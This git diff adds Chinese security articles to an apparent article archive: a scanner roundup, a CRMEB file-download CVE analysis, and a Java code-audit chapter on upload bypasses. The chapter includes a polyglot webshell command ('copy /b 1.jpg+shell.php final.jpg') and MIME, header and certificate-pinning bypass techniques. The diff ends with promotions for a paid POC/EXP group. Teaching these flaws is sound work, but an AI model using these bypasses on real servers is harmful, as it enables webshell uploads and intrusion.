diff --git a/data.json b/data.json index 26978099..e6cce250 100644 --- a/data.json +++ b/data.json @@ -15602,5 +15602,23 @@ "https://mp.weixin.qq.com/s?__biz=MzkxOTUyNTg2MA==&mid=2247483982&idx=1&sn=a506515361c892f7d439c4fe16467aa6": "【淮橘AI代码审计工具v2.0】规则+AI双引擎，让漏洞无处遁形", "https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247550556&idx=1&sn=931c3d818653e765d82fba8af75a5de1": "手把手教你CNVD漏洞挖掘 + 资产收集", "https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651137321&idx=2&sn=3b273292ef01a662bff4e7e856dd6634": "美国遭遇黑客活动分子大规模DDoS攻击，与伊朗轰炸事件相关；小米互联互通应用严重漏洞允许黑客未授权访问用户设备| 牛览", - "https://mp.weixin.qq.com/s?__biz=MzI2Mzc3OTg1Ng==&mid=2247492665&idx=1&sn=9fbe571d7111030b9c4ceba172cdaa2a": "漏洞复现 || GeoServer XXE漏洞 (CVE-2025-30220)" + "https://mp.weixin.qq.com/s?__biz=MzI2Mzc3OTg1Ng==&mid=2247492665&idx=1&sn=9fbe571d7111030b9c4ceba172cdaa2a": "漏洞复现 || GeoServer XXE漏洞 (CVE-2025-30220)", + "https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247501227&idx=2&sn=6dd4eb38653a88948107ed6a38964031": "【漏洞通告】WinRAR 路径处理漏洞导致远程代码执行 (CVE-2025-6218)", + "https://mp.weixin.qq.com/s?__biz=Mzg4Njk1NDg5NQ==&mid=2247483910&idx=1&sn=213863db5a9b86c813db99bade0660e1": "Java代码审计第七章-任意文件上传漏洞（上）", + "https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492658&idx=1&sn=083e602f09f084017608fce4fb9b60d5": "VulnCrawler v2.0- 漏洞情报拉取工具 一键抓取最新漏洞|漏洞探测", + "https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247555247&idx=1&sn=a7196eceb681af8cdcbd0cb4df87f1b9": "nps之Socks流量分析以及未授权复现", + "https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489523&idx=1&sn=7a64c5b7c5c623d232ed0a4980cf9f10": "渗透测试｜某单位从敏感三要素泄露到接管管理员的漏洞挖掘之旅", + "https://mp.weixin.qq.com/s?__biz=Mzk0ODM3NTU5MA==&mid=2247494089&idx=1&sn=b9ada1dbf29cb740174d1194b7b4262d": "【已复现】Gogs 远程命令注入漏洞(CVE-2024-56731)", + "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490307&idx=2&sn=6df93de7148487ec4029f4396726754d": "【高危漏洞预警】Pterodactyl代码执行漏洞(CVE-2025-49132)", + "https://mp.weixin.qq.com/s?__biz=MzI0MTUwMjQ5Nw==&mid=2247489256&idx=1&sn=503b05e22ac55c8acc087c2ad80efcba": "利用 WebView 漏洞：绕过 SOP 访问内部应用程序文件", + "https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247521326&idx=1&sn=eee5b7db26999c41ad137213d0d90a1c": "记录某企业存储型XSS漏洞从发现到数据外泄全路径分析", + "https://mp.weixin.qq.com/s?__biz=MzkxNTY0NzgwNA==&mid=2247483980&idx=1&sn=4263cd05489194ff5d3e53a235bf3016": "CRMEB-CVE-2024-52726-任意文件下载漏洞分析", + "https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247641086&idx=2&sn=7947f21af9546a6522db29daeb6323b0": "直播预告 | 攻防演练季应急自救指南-0Day∕NDay来袭，传统防护失效下该如何破局?", + "https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490307&idx=1&sn=bac7469bf34eee680054d677b1c056ec": "【高危漏洞预警】 Gogs内部文件删除致远程命令注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070352&idx=3&sn=cc4501ba6fd8153a01376bad11487244": "【安全圈】TeamViewer 高危漏洞通报（CVE-2025-36537）", + "https://mp.weixin.qq.com/s?__biz=MzkxMzMyNzMyMA==&mid=2247573676&idx=1&sn=e886de4de4e7bab19b5e175e478473af": "6款较流行的开源漏洞扫描工具推荐及特点分析", + "https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247492852&idx=1&sn=63aa481b46b0e2ccc42748ad0107467f": "【已复现】Gogs 远程命令执行漏洞", + "https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247555247&idx=2&sn=7d638163f3ed98a098b2e44a47e27120": "【免费领】社会工程权威资料：解密安全体系中的人性漏洞", + "https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651323714&idx=3&sn=e66361c25b0dba9cb07f228b450a60c9": "WinRAR目录遍历漏洞允许通过恶意文件执行任意代码", + "https://mp.weixin.qq.com/s?__biz=Mzg3ODY0NTczMA==&mid=2247493041&idx=1&sn=518361ee24bc2da2bdc44f947e1046a8": "在全球间谍活动中，政府网络邮件遭 XSS 漏洞攻击" } \ No newline at end of file diff --git a/doc/2025-06/6款较流行的开源漏洞扫描工具推荐及特点分析.md b/doc/2025-06/6款较流行的开源漏洞扫描工具推荐及特点分析.md new file mode 100644 index 00000000..0bd3b831 --- /dev/null +++ b/doc/2025-06/6款较流行的开源漏洞扫描工具推荐及特点分析.md @@ -0,0 +1,311 @@ +# 6款较流行的开源漏洞扫描工具推荐及特点分析 +点击关注👉 马哥网络安全 2025-06-25 09:00 + +**漏洞扫描** + +未修补的漏洞是网络犯罪分子最容易攻击的目标之一。 +企业中很多的数据安全事件往往由于已知的漏洞造成的，尽管相关的安全补丁已经发布，但许多企业由于种种原因并不能及时发现并修补这些漏洞。 + + +当组织想要开展全面且持续的漏洞扫描工作时，通常需要得到广泛的安全社区支持。在此过程中，安全人员可以借助一些的流行开源漏洞扫描工具。由于它们具有开放源代码的特性，用户可以自由地查看、修改和定制这些工具，以满足自身的安全需求。此外，这些工具会经常更新和改进以适应不断变化的漏洞威胁。本文收集了6款目前较热门的开源漏洞扫描工具（详见下表），并从功能性、兼容性和可扩展性等方面对其应用特点进行了分析。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/kuIKKC9tNkByZDoAqrUdxxqQUxkiae9MMTyMK7LNxKIOMsUcKFBRgwnTFVbOr5WoKZXOCOUricoSdsp2o1tDWUgA/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**1、Nmap** + +  + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kuIKKC9tNkByZDoAqrUdxxqQUxkiae9MMTK9KgGkuvD8wCsDaibxO1gkOsr7InfYeplkohltMHAsz3A5IPBgyORA/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +Nmap是一款非常流行的自动化安全测试工具。它可以在各种主流操作系统上运行，并快速扫描大型网络。它通常会检测以下信息：网络上有哪些主机可用，主机在运行什么服务，主机在运行哪些操作系统版本，使用哪种类型的数据包过滤器和防火墙，以及发动攻击之前需要的其他有用情报。此外，Nmap的说明文档也很全面，还有针对命令行和GUI（图形化操作界面）版本的众多教程，很容易上手。 + + + +**主要特点** + +  + +ㆍ快速查询开放端口，基于可用的 TCP 和 UDP 服务分析协议、应用程序和操作系统。 + +ㆍ拥有庞大的活跃用户群，也被大多数网络和网络安全认证计划所接受。 + +ㆍ对使用者友好，使用命令行控件自动执行漏洞扫描或将结果导出到票证系统或安全工具中。 + +ㆍ包含一个不断增长的检测脚本库，可用于增强网络发现和漏洞评估的功能。 + +ㆍ可基于协议请求的端口响应进行扫描，适用于所有具有开放端口的计算机、物联网设备、网站、云系统和网络设备。 + + + +**不足** + + +ㆍ没有正式的客户支持选项 + +ㆍ使用时需要一定的经验或编程能力 + +ㆍ并非所有选项在 GUI 版本中都可用 + +  + +**2、OpenVAS** + +  + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kuIKKC9tNkByZDoAqrUdxxqQUxkiae9MMNSZXwW3359rIicicdkJ5peOiaibvSLl3mvKVLzlm9gH8MW75h0CiczfCJuQ/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +OpenVAS是一个较全面的开源渗透测试软件。在世界各地的渗透测试专家的帮助下，它得到了不断的支持和更新，从而使其保持最新状态。OpenVAS的其他特性还包括提供未经身份验证的测试、目标扫描和web漏洞扫描。需要说明的是，OpenVAS工具的漏洞扫描能力最初是从Nessus产品派生而来，后者现在是Tenable公司的非开源商业化产品。 + +  + + + +**主要特点** + +  + +ㆍ几乎每天都会更新威胁信息源，并定期提供产品更新和功能更新。 +ㆍ免费版本的功能就非常全面，并在企业版本中提供更多功能和特性，同时提供客户支持。 +ㆍ能够对终端、服务器和云等多种系统进行常见漏洞和曝光（ +CVE +）的扫描。 +ㆍ产品得到主流网络安全社区的支持，能够在许多不同的认证课程中教授。 +ㆍ可以为每个漏洞提供额外的上下文信息，用于漏洞修复或攻击路径解释。 + + + + +**不足** + +  + +ㆍ对于初学者来说专业门槛较高 +ㆍ在同时进行多个扫描任务时，可能会导致程序崩溃 +ㆍ一些高级扫描功能需要使用付费版本 + + +**3、ZAP** + +  + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kuIKKC9tNkByZDoAqrUdxxqQUxkiae9MMibn3adhMBSq4tZNeDiaM6xVlrgOsicdXyOHbwmqpwGO92pSbWiaiaEYWpbg/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +Zed Attack Proxy (ZAP)是一款用户友好的渗透测试工具，能找出网络应用中的漏洞。它不仅提供自动化扫描器，也为想要手动查找漏洞的用户提供了一套工具。ZAP通常预装在Kali Linux上，它能够将自身置于测试人员的浏览器和Web应用程序之间，拦截请求以充当"代理"。通过修改内容、转发数据包和模拟其他用户行为，ZAP也可以对应用程序进行漏洞扫描测试。 + +  + + + +**主要特点** + +  + +ㆍ可执行常见的动态应用程序安全测试 （DAST），特别是针对跨站点脚本 （XSS） 漏洞，还能够执行一些新型的测试工作，例如模糊测试； + +ㆍ可提供 API 和 docker 集成以实现快速部署，并与 DevSecOp 工具集成，实现对开发团队的自动化工单管理； +ㆍ通过Crash Override开源奖学金的支持，ZAP拥有多名全职开发人员，不再与OWASP有关联； +ㆍ经常被渗透测试人员使用，可以很好地了解黑客可能发现的漏洞。 + +  + + + +**不足** + + +ㆍ某些扫描功能需要额外的插件 + +ㆍ需要一些专业知识才能使用 + +ㆍ相比其他工具，误报率较高 + +  + +**4、OSV-Scanner** + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kuIKKC9tNkByZDoAqrUdxxqQUxkiae9MMS7TS3scP6qoynIqPfhBIdibMHBYQK5pNZT4uRyw4UN7H1zVqBIKXddQ/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +OSV-Scanner是一款由谷歌公司开发的开源漏洞扫描工具，提供专门的软件组成分析（SCA），可用于扫描静态软件，以确保开源软件的编程代码安全漏洞，并保护开源软件清单（SBOM）。在扫描项目时，OSV-Scanner 首先通过分析清单、软件材料清单（SBOM）和代码提交 +哈希值 +来确定正在使用的所有依赖项。这些信息用于查询 OSV 数据库，并报告与项目相关的漏洞。漏洞通过表格的形式或基于 JSON 的 OSV 格式（可选）进行报告。 + +  + + + +**主要特点** + +  + +ㆍ能够定期扩展支持的编程语言列表，包括C/C++、Dart、Elixir、Go、Java、JavaScript、PHP、Python、R、Ruby和Rust。 +ㆍ可以从大量信息源中获取漏洞，包括Debian、Linux、Maven、npm、NuGet、OSS-Fuzz、Packagist、PyPl和RubyGems。 +ㆍ允许API、可脚本化和与GitHub集成的调用，以实现漏洞扫描自动化。 +ㆍ使用JSON存储有关受影响版本的信息，以便与开发人员工具包进行集成。 +ㆍ检查目录、软件清单（SBOM）、锁定文件、基于Debian的Docker镜像或在Docker容器中运行的软件。 + + + + +**不足** + + +ㆍ只检查开源库中有的漏洞 +ㆍ产品较新，尚未被纳入到主流的认证教育中 + +  + +**5、CloudSploit** + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kuIKKC9tNkByZDoAqrUdxxqQUxkiae9MMQnpRKfom9JTpbUjAOQVjDoB8UbRw0HudcpZgLvBByksiap3wQXwkF4A/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +CloudSploit是一款开源的云基础设施扫描引擎，目前被Aqua公司收购并继续对其进行维护，以使用户能够下载、修改并享受这个专业工具的好处。CloudSploit可以根据用户需求进行扫描，也可以配置为持续运行，并向安全和DevOps团队发送漏洞警报。该工具不仅检查已知的云和容器部署漏洞，还能够检查常见的配置错误问题。 + +  + + + +**主要特点** + +  + +ㆍ可持续扫描AWS、Azure、Google Cloud、Oracle Cloud等环境，以便对云基础设施的更改进行警报。 + +ㆍ通过安全人员常用的工具（如Slack、Splunk、OpsGenie、Amazon SNS等）发送实时警报和结果。 + +ㆍ可从命令行、脚本或构建系统（Jenkins、CircleCL、AWS CodeBuild 等）调用 API。 + +ㆍ提供了广泛的云支持，包括针对主要公共云平台（阿里云、AWS、Azure、Google Cloud 等）的插件严重程度。 + +  + + + +**不足** + +  + +ㆍ某些功能需要付费使用 +ㆍ必须与其他安全工具一起使用 +ㆍ专注于公有云基础设施安全性 + + +**6、sqlmap** + +  + +![](https://mmbiz.qpic.cn/mmbiz_jpg/kuIKKC9tNkByZDoAqrUdxxqQUxkiae9MM8jCYnujwX3xfQjPlwpZFYlsEQqOickl6fOM43HMNwylK219BdGKVQQg/640?wx_fmt=jpeg&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +sqlmap是一款专注但功能强大的免费数据库漏洞扫描工具。尽管其适用范围有限，但在一些需要进行严格合规和安全测试的数字化业务场景中，数据库漏洞测试往往是至关重要的组成部分。SQLmap能够自动化查找与SQL注入相关的威胁和攻击的过程。相比其他的web应用程序渗透测试工具，SQLmap具有较强大的 +测试引擎 +和多种注入攻击识别能力，并支持多种数据库服务器，如MySQL、Microsoft Access、IBM DB2和SQLite。 + +  + + + +**主要特点** + +  + +ㆍ可通过 +DBMS +凭据、IP地址、端口和数据库名称直接连接到数据库进行漏洞扫描测试。 + +ㆍ支持可调用的（代码或GitHub）集成，可执行任意命令，检索标准输出并生成报告。 + +ㆍ可扫描多种类型的SQL注入，包括：基于布尔的盲注、基于时间的盲注、基于错误的注入、基于UNION查询的注入、堆叠查询和带外注入等。 + +ㆍ自动识别和使用密码哈希进行具有许可访问权限的测试，还可以进行密码破解。 + +ㆍ支持超过30个数据库管理系统。 + +  + + + +**不足** + +  + +ㆍ没有图形用户界面，需要通过命令行 +ㆍ只针对数据库中的漏洞 +ㆍ需要一定的数据库专业知识才能有效使用 + + +文章内容转自计算机科学与信息化，侵删 + + +**** +**文末福利** +## +## 现在已经步入2025年了，不少小伙伴在考虑入行学习网络安全。 +## + +![](https://mmbiz.qpic.cn/mmbiz_png/UkV8WB2qYAmTHoVHrG8PppyYU8FpGmLJDLOPiax3pqwnq9hFjDSMH4cpYptL3h071PkP0jkoR5ib2Ksfia8VFnicmQ/640?wx_fmt=png&from=appmsg "") + +为了帮助大家早日习得网络安全核心知识，快速入行网络安全圈，**给大家整理了一套【2025最新网安资料】** +**网络安全工程师****必备技能资料包** +（文末一键领取）**，内容有多详实丰富看下图！** + +**Web安全** + +![](https://mmbiz.qpic.cn/mmbiz_png/UkV8WB2qYAkcvc41LgmeFn1B18QpgBZFBODrmsTGnPTOibdIT9B5eFLTHVIgWzYafxGAesmYnfzrz52xwV3Bjhw/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**渗透测试** + +![](https://mmbiz.qpic.cn/mmbiz_png/UkV8WB2qYAkcvc41LgmeFn1B18QpgBZFVKWl2cLRTq7x9haKJerUZNO0YMhiaO8ibN1jjV0qxNLEvRKMfR90eNjQ/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**安全面试题** + +![](https://mmbiz.qpic.cn/mmbiz_png/UkV8WB2qYAkcvc41LgmeFn1B18QpgBZFgrmaDLaYT1yV5lst9tKC72QrYjd5I8IN7kcOZIZSfQJJz8MdX6a1uA/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**代码审计** + +![](https://mmbiz.qpic.cn/mmbiz_png/UkV8WB2qYAkcvc41LgmeFn1B18QpgBZFxmUkTNP1iagssZL5zkjID8hibpZsRCj1OnEb4x7ZYWqpiaymSjc8O7vSQ/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**HVV文档** + +![](https://mmbiz.qpic.cn/mmbiz_png/UkV8WB2qYAkcvc41LgmeFn1B18QpgBZFMD4XeWiaQgOBDgFjkQRogf6djmGx3YRcCCSLYGMY1e4DQejgibv7fffQ/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**红队笔记** + +![](https://mmbiz.qpic.cn/mmbiz_png/UkV8WB2qYAkcvc41LgmeFn1B18QpgBZFVZS1mB4MKAo4FoMBGyVSzq38ZXEKJCjZVaTsFtLE7tIJ3zbRWF5xeA/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**入门视频** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/O9D0kmTL9EgxtiaXGtk7loXV41e8AXiaORJMhqFbrtcfHvJWTia6ME2oSI9msVYJu79uCicb7foufuibEHaVg32XnWw/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +![](https://mmbiz.qpic.cn/mmbiz_gif/NUwbCdTuQQxsJibSZGyA8akP9TVyJfPcpJ4uIZJDj3akRUfv6cNbnksGJQsibq1aH8iaGDic7TvOaSwNGXLdQ8PC9A/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + +**以上所有资料获取请扫码** + +![](https://mmbiz.qpic.cn/mmbiz_png/UkV8WB2qYAkwcjtOtVXODCkPibWO4Py9FP1ESE26vHHMLwfyYA6zWj96VL7AsPYcyvHL43536JMIDNWibIdicAjRw/640?wx_fmt=png&from=appmsg "") + +识别上方二维码 + +备注：2025安全合集 + +100%免费领取 + +（是 +扫码领取 +，不是在公众号后台回复， +别看错了哦） + + + +  + + + diff --git a/doc/2025-06/CRMEB-CVE-2024-52726-任意文件下载漏洞分析.md b/doc/2025-06/CRMEB-CVE-2024-52726-任意文件下载漏洞分析.md new file mode 100644 index 00000000..85aac53c --- /dev/null +++ b/doc/2025-06/CRMEB-CVE-2024-52726-任意文件下载漏洞分析.md @@ -0,0 +1,57 @@ +# CRMEB-CVE-2024-52726-任意文件下载漏洞分析 +寻梦安全 寻梦安全 2025-06-25 08:23 + +点击蓝字 关注我们 + + + +**免责说明** + +由于传播、利用本公众号寻梦安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号寻梦安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！ + + + +漏洞分析 + +该系统采用前后端分离技术，基于ThinkPHP6+elementUI+Uni-app框架开发 + +首先我们查看路由，看到这是一个后台的任意文件下载，并且/adminapi/setting/config/save_basics路径会进去到 v1.setting.SystemConfig/save_basics 这个路径下 + +![](https://mmbiz.qpic.cn/mmbiz_png/fzlloB4t1N5P4AgsP66oQZzveTiaCVQDh8KfFXkbjoPSEOCELvJrfr7Zxhd8APDKNpted1EZwB5iaqLy2aVQnCpw/640?wx_fmt=png "") + +受影响的代码在app/adminapi/controllerv1.setting.SystemConfig/save_basics.php文件的save_basics中 + +这里从请求中获取 POST 参数，然后遍历 POST 数据的每个键值对，$k 表示字段名，$v 表示字段值。 + +![](https://mmbiz.qpic.cn/mmbiz_png/fzlloB4t1N5P4AgsP66oQZzveTiaCVQDhuoS6ye8A7xTdIS9O7BBkG0ibicbdJGjo0p2KG92xY6scHvWNAg66aibUA/640?wx_fmt=png "") + +接着是一系列的判断，判断post参数是否存在这些，然后在weixin_ckeck_filepost参数中，存在copy函数，可以将文件进行复制的一个操作 + +![](https://mmbiz.qpic.cn/mmbiz_png/fzlloB4t1N5P4AgsP66oQZzveTiaCVQDhibg6DT4XFrJWuZGG5ia8TbrFTTMhq9tCasJUEjnSvcib22hqUqbTibL58w/640?wx_fmt=png "") + +接着跟踪代码，发现public_path就是在public目录，这里存在copy文件到public目录下的一个操作 + +![](https://mmbiz.qpic.cn/mmbiz_png/fzlloB4t1N5P4AgsP66oQZzveTiaCVQDhD2GEK02eeD3KCzOvl9Wbcbk1jJnZIo0iblazpyAaL8aT3TLQvDHGfwQ/640?wx_fmt=png "") + +分析$to = public_path() . array_reverse(explode('/', $post['weixin_ckeck_file']))[0];这个代码，就是将字符串按 / 分割成一个数组，然后提取最后一个部分（就是文件名），然后拼接到public目录下 + +进行动调一下，看看是否和我们之前描述的一样。 + +![](https://mmbiz.qpic.cn/mmbiz_png/fzlloB4t1N5P4AgsP66oQZzveTiaCVQDhp8ia4Yb05DJ4voX7ricTBKjLyye0sUWO1TWAJ9t1wFvXPzApyZlSDrXQ/640?wx_fmt=png "") + +可以看到，结果就是我们所描述的那种。并且由于是thinkphp的框架，所以运行的目录也是在public目录下面。因此可以直接去访问那个文件，便可以进行下载文件。 + +exp: + +![](https://mmbiz.qpic.cn/mmbiz_png/fzlloB4t1N5P4AgsP66oQZzveTiaCVQDhRx5I7Fl1G8iagSy5RaRU71bKtDYgrUvjOmm4f6InmGzvAUZRBHQEjEg/640?wx_fmt=png "") + +然后访问直接win.ini便可以下载win.ini文件 + +![](https://mmbiz.qpic.cn/mmbiz_png/fzlloB4t1N5P4AgsP66oQZzveTiaCVQDhVBM3HEWlouLyEDK7My9DzpWcauYBfFcOrr5BfEEDe4jkgWJVIlf21A/640?wx_fmt=png "") + + + +总结 + +这是一个由于copy函数没有严格控制路径问题，导致存在一个任意文件下载的操作。 + diff --git a/doc/2025-06/Java代码审计第七章-任意文件上传漏洞（上）.md b/doc/2025-06/Java代码审计第七章-任意文件上传漏洞（上）.md new file mode 100644 index 00000000..63aa0fe5 --- /dev/null +++ b/doc/2025-06/Java代码审计第七章-任意文件上传漏洞（上）.md @@ -0,0 +1,165 @@ +# Java代码审计第七章-任意文件上传漏洞（上） +原创 今木安全 今木安全 2025-06-25 11:52 + +定义 + +        任意文件上传漏洞是Web应用中的高危漏洞，攻击者通过绕过文件类型检测机制，将恶意脚本（如WebShell）上传至服务器。该漏洞的本质是 +**文件上传操作未规范校验文件类型** +，导致检测功能被绕过。随着开发人员安全意识提升，此类漏洞有所减少但仍未绝迹。 +## 黑盒测试过程 +### 文件上传流程 +1. **前端提交** + +1. 用户选择文件并提交表单 + +1. 浏览器生成POST Multipart报文发送至服务器 + +1. **报文解析** + +1. 请求头部分 + +HTTP协议版本、浏览器信息、请求方式、编码类型、请求地址 + +1. 请求数据部分 + +普通参数：参数名/参数值（含隐藏字段） + +文件数据：文件名、响应函数名、文件类型 + +1. **服务器处理** + +1. 中间件接收并解析报文 + +1. 后端代码处理请求（PHP特有：将内容写入临时文件） + +1. 最终文件写入目标存储路径 + +### 上传漏洞的必要条件 +1. 存在上传功能点 + +1. 可上传动态脚本文件（如.php/.jsp） + +1. 上传目录有执行权限 + +1. 上传文件可执行 + +1. 可访问上传的动态文件 + +### 上传检测流程 +#### 前端提交检测 +- **JavaScript检测** + +- 触发事件： +onchange +（内容改变时）、 +onsubmit +（表单提交时） + +- 绕过：删除检测函数或使用BurpSuite拦截修改请求 + +- **Flash AS检测** + +- 提交前触发ActionScript检测 + +- 绕过：直接修改POST报文内容 + +- **App上传检测** + + +**安卓绕过步骤** +： +``` +``` + +- 设置代理：Burp IP:8080 + +- 安装Burp证书（.crt格式） + +- 信任证书（IOS需额外设置） + +- 对抗证书校验：Xposed框架+JustTrustMe + +#### 数据传输检测 +- WAF拦截：双后缀/00截断绕过 + +- IPS拦截：慢速攻击/分块传输 + +#### 后端处理检测 +- **扩展名检测绕过** + +- 大小写混合： +.PhP + +- 特殊后缀： +.phtml + +- **MIME Type检测绕过** + +- 伪造Content-Type： +image/jpeg + +- **文件格式检测** + +
检测类型绕过方法
文件头检测添加合法文件头（如GIF89a）
完整内容检测图片与脚本合并：copy /b 1.jpg+shell.php final.jpg
恶意内容检测高度混淆WebShell（Weevely工具）
+#### 写入文件系统 +- 文件重命名绕过：利用解析漏洞 + +- 杀毒软件对抗：内存马/无文件攻击 + +#### 访问文件执行 +- **解析漏洞利用** +``` +``` + +- **服务器识别** + +- F12 → 网络 → Server头 + +- 访问不存在页面查看错误信息 + +## 绕过的高级技巧 +### 重绘图绕过 +1. 用目标图形库转换正常图片 + +1. 识别转换前后未变化区域 + +1. 将WebShell注入未变化区 + +1. 二次转换验证完整性 + +工具：Bypass-PHP-GD-Process-To-RCE + +### PHPinfo+本地包含组合利用 + +**攻击流程** +： +1. 上传含大文件（拖延处理） + +1. 快速访问PHPinfo获取 +$_FILES +信息 + +1. 利用本地包含执行临时文件  +``` +``` + +### 在线压缩包利用 +- **目录穿越攻击** +``` +``` + +- **符号链接攻击** +``` +``` + +- **路径混淆攻击** + + +-      构造含 +../ +路径的压缩包结构 + +> 下半部分将涵盖白盒审计、修复方案等深度内容。 + + + diff --git a/doc/2025-06/VulnCrawler v2.0- 漏洞情报拉取工具 一键抓取最新漏洞漏洞探测.md b/doc/2025-06/VulnCrawler v2.0- 漏洞情报拉取工具 一键抓取最新漏洞漏洞探测.md new file mode 100644 index 00000000..bf0c66f4 --- /dev/null +++ b/doc/2025-06/VulnCrawler v2.0- 漏洞情报拉取工具 一键抓取最新漏洞漏洞探测.md @@ -0,0 +1,153 @@ +# VulnCrawler v2.0- 漏洞情报拉取工具 一键抓取最新漏洞|漏洞探测 +vuln-crawler 渗透安全HackTwo 2025-06-25 16:00 + +0x01 工具介绍 + + +VulnCrawler v2.0 是由开发者 zero-typora 打造的一款开源漏洞情报拉取工具，专为安全研究者和 IT 专业人士设计。该工具支持 Windows 和 macOS 平台，能够从多个权威来源（如 CISA KEV、ThreatBook 等）快速抓取漏洞信息，帮助用户高效应对网络安全威胁。 + + +**注意：** +现在只对常读和星标的公众号才展示大图推送，建议大家把 +**渗透安全HackTwo** +"**设为****星标⭐️** +" +**否****则可能就看不到了啦！** + +**下载地址在末尾#渗透安全HackTwo** + +0x02  +功能简介 + + +工具特点 +- **时间范围筛选** +：支持按指定日期范围查询漏洞，聚焦关键情报。 + +- **漏洞搜索功能** +：可通过 CVE 编号或漏洞标题快速检索，省时高效。 + +- **优化界面设计** +：顶栏改为两行布局，常用操作一目了然。 + +- **跨平台支持** +：提供 Windows (.exe) 和 macOS (.dmg) 安装包，适配更多用户。 + +- **动态渐变图标** +：自带霓虹盾牌图标，桌面更具辨识度。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq5da6Ns5zFrVDBBZyaMScxrTKqgSBMgoU4qf1uAfAtpoiczS6WSaIZRtQEwzTLia4CEIcSlbBXvicpZg/640?wx_fmt=png&from=appmsg "") +### 核心亮点 + +   VulnCrawler v2.0 凭借以下功能脱颖而出： +- **多线程搜索** +：同时从 CISA KEV、ThreatBook、Changtin、OSCS、Qianxin 等多个来源抓取数据，确保情报全面。 + +- **自动刷新** +：默认每 30 分钟更新高危漏洞情报（可在设置中关闭）。 + +- **智能配置** +：首次启动自动填充 GitHub Token 和 ThreatBook Cookie，支持热更新。 + +- **代理兼容** +：一键配置代理，100% 适配企业网络环境。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq5da6Ns5zFrVDBBZyaMScxrdQVsNGRk0MibvYKPEVsxbIycajHO85awcyJnl6ye2epu379UUQPZbew/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq5da6Ns5zFrVDBBZyaMScxr9IockXRE3Khn0qC1A782Q0F5x1r34node2r77nrVxj9BJWXy7Rb9zg/640?wx_fmt=png&from=appmsg "") +### + +0x03更新说明 +``` +添加漏洞搜索功能 +``` + + +0x04 使用介绍 + +📦 +Windows / macOS 双平台正式打包开箱即用 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq5da6Ns5zFrVDBBZyaMScxrkCgYicGBuN4SicXpc0BDdErBnJ7qArnOS7NSS3uKOpefV9c0xaR5sOPA/640?wx_fmt=png&from=appmsg "") +## +## + + +**0x05 内部VIP星球介绍-V1.4（福利）** + +        如果你想学习更多**渗透测试技术/应急溯源/免杀/挖洞赚取漏洞赏金/红队打点** +欢迎加入我们**内部星球** +可获得内部工具字典和享受内部资源和 +内部交流群，**每1-2天更新1day/0day漏洞刷分上分****(2025POC更新至4000+)** +**，** +包含网上一些**付费****工具及BurpSuite自动化漏****洞探测插件，AI代审工具等等** +。shadon\Quake\ +Fofa高级会员，CTFShow等各种账号会员共享。详情直接点击下方链接进入了解，觉得价格高的师傅可后台回复"  +**星球** + "有优惠券名额有限先到先得！全网资源 +最新 +最丰富！**（🤙截止目前已有1800+多位师傅选择加入❗️早加入早享受）** + +**星球漏洞库(获取最新漏洞POC/EXP)🔄** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq5da6Ns5zFrVDBBZyaMScxr91ffQavsn40c3Exu0j43pQ0GNGZoJS4JLxx0qX7gdHMoRicicFuxdgtQ/640?wx_fmt=png&from=appmsg "") + 